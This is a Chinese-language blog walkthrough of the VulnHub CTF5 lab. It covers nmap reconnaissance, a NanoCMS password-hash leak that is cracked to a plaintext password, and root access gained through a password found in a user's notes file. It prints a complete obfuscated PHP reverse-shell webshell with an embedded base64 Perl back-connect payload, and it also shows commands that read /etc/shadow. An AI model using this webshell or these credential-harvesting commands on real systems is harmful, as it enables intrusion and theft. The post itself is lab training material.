【精选】vulnhub CTF5 NanoCMS漏洞 (青铜门笔记)

复制代码
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

一、信息收集

1.主机探测

2.端口扫描

3.漏洞扫描

4.web页面

二、漏洞利用

1.NanoCMS漏洞

2.NanoCMS代码执行

三、提权

1.脏牛提权

2.找root密码


一、信息收集

1.主机探测

发现靶机的IP地址是192.168.103.131

cs 复制代码
┌──(root💀kali)-[~/桌面]
└─# arp-scan -l

2.端口扫描

发现开启了:22,25,80,110,111,139,143,445,901,3306端口

cs 复制代码
┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A 192.168.103.131 

3.漏洞扫描

可以扫描到很多的漏洞,80端口开放了很多的web页面,还有sql注入漏洞,以及Dos攻击漏洞等,这里80的漏洞信息是最全的,所以最先去看看web页面

cs 复制代码
┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,25,80,110,111,139,143,445,901,3306 192.168.103.131 

4.web页面

尝试了好几个扫描出来的漏洞web页面,后来发现了这个NanoCMS框架,这个靶场没猜错的话应该有个CMS框架漏洞

这里发现了一个管理员admin的登录界面,尝试利用弱口令,发现登录失败

二、漏洞利用

1.NanoCMS漏洞

利用searchsploit 和 msf 都没有找到,可能是这个漏洞比较新 ,漏洞库里面都没有

那我们直接上网找nanocms exploit:

看到NanoCMS '/data/pagesdata.txt',感觉跟密码有关

这里讲的是**/data/pagesdata.txt**文件里面有密码的哈希泄露

cs 复制代码
http://192.168.103.131/~andy/data/pagesdata.txt

可以看到账号密码,密码用hash加密了

cpp 复制代码
┌──(root💀kali)-[~/桌面]
└─# hash-identifier "9d2f75377ac0ab991d40c91fd27e52fd" 

经过MD5解码之后,密码是:shannon

2.NanoCMS代码执行

找到这个可以执行远程代码的位置

kali监听的反弹shell

php 复制代码
GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.103.129";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

先kali开启监听

然后再访问这个url

cpp 复制代码
http://192.168.103.131/~andy/index.php?page=home

发现kali上面监听成功

cs 复制代码
python -c 'import pty; pty.spawn ("/bin/bash")'  ##交互式shell

三、提权

1.脏牛提权

查看内核版本

内核版本很低,可以用脏牛提权,但是没有gcc编译功能,也是以失败告终

cs 复制代码
uname -a

说明拿到的账户,是一个低权限的账户

cpp 复制代码
sudo -l
cat /etc/shadow

2.找root密码

cs 复制代码
grep -R -i pass /home/* 2>/dev/null
cs 复制代码
grep: 是一个用于在文件中搜索指定模式的命令
 -R: 表示递归搜索,将在指定目录及其子目录下搜索文件
 -i: 表示忽略大小写,在搜索时不区分大小写
  pass: 是要搜索的字符串模式
 /home/*: 搜索的目录路径,/home/表示在/home/目录下搜索,*表示搜索所有子目录和文件
 2>/dev/null: 将标准错误输出重定向到/dev/null设备,这样错误信息将被丢弃而不会显示在终端上

/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note文件

这里有一个50$cent,这个很特殊,说不定就是那个root的password呢

发现成功了,成功提权到root

相关推荐
tntxia5 小时前
网络安全漏洞修复(一)
安全
orion5714 小时前
Missing Semester Class1:course overview and introduction of shell
linux
SkyWalking中文站19 小时前
认识 Horizon UI · 6/17:Trace 探索器
运维·监控·自动化运维
用户1204872216121 小时前
Linux驱动编译与加载
linux·嵌入式
火车叼位1 天前
写给初级开发者:SSL、SSH、HTTPS 与证书体系全解析
运维
用户805533698031 天前
Input 子系统架构:Core、Handler、Driver 三层是怎么协作的
linux·嵌入式
用户805533698031 天前
RK-Forge外设系列开篇 - 把板子从「能启动」变成「能用」:Ethernet/SPI/MMC 三个纯接线外设
linux·github·嵌入式
小猿姐1 天前
唯品会大规模数据库云原生实践:基于 KubeBlocks 管理数千实例的统一运维之路
运维·elasticsearch·云原生
七歌杜金房2 天前
我终于又有了自己的 Linux 电脑
linux·debian·mac
泯泷2 天前
第 2 篇:设计第一套字节码:Opcode、Instruction 与 Constant Pool
前端·javascript·安全